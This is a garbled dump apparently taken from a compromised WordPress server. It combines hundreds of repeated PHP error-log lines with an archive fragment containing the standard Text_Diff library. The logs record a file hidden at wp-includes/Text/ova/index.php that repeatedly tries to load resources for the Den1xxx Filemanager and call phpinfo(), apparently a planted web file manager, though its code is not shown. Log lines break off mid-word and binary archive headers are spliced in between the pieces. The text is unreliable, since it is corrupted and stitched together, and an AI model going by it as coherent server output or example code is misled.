/home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:39:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:41:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:42:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:43:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:44:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:46:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:48:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:57:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 11:00:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by al[30-Aug-2025 12:37:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:37:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:52:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 12:53:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:39:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:40:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 18:45:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:23:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:24:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 05:26:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /[31-Aug-2025 10:01:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:01:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [31-Aug-2025 10:08:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 PKj[Y:: Diff.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/Text/Diff.php000064400000031107150550165720017451 0ustar00, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } PKj[,6=ee error_lognu[[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: 